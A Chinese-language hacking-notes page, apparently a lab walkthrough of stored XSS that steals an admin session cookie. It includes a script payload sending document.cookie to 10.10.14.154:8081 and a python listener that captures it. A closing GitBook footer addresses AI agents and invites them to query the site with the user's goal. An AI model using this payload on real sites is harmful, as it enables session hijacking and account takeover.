> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md).

# XSS 会话 Cookie 窃取

## XSS

应用程序接受这些字段 *username* 和 *email* 而没有进行适当的过滤。这使得恶意脚本可以被注入。

<figure><img src="/files/b4548e1e2dbb32691196e8ce6dc2e81304edf7e4" alt=""><figcaption></figcaption></figure>

**载荷 XSS** 我们创建一个用户名如下的用户：

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>

```

**管理员 Cookie 接收** 我们在 8081 端口监听：

```bash
python -m http.server 8081

```

<figure><img src="/files/90515563f6a29a28b186056fca6ae1779be80dff" alt=""><figcaption></figcaption></figure>

一旦捕获到 Cookie，我们就获得了管理员的会话：

<figure><img src="/files/3ff4d357cfef1169c41fc5f5c5628ecae316b566" alt=""><figcaption></figcaption></figure>

我们将自己的会话 Cookie 修改为管理员的，并访问 **管理控制台**.

<figure><img src="/files/362de1efe96f9c31f2eb24cb2208a53a5457b5d1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
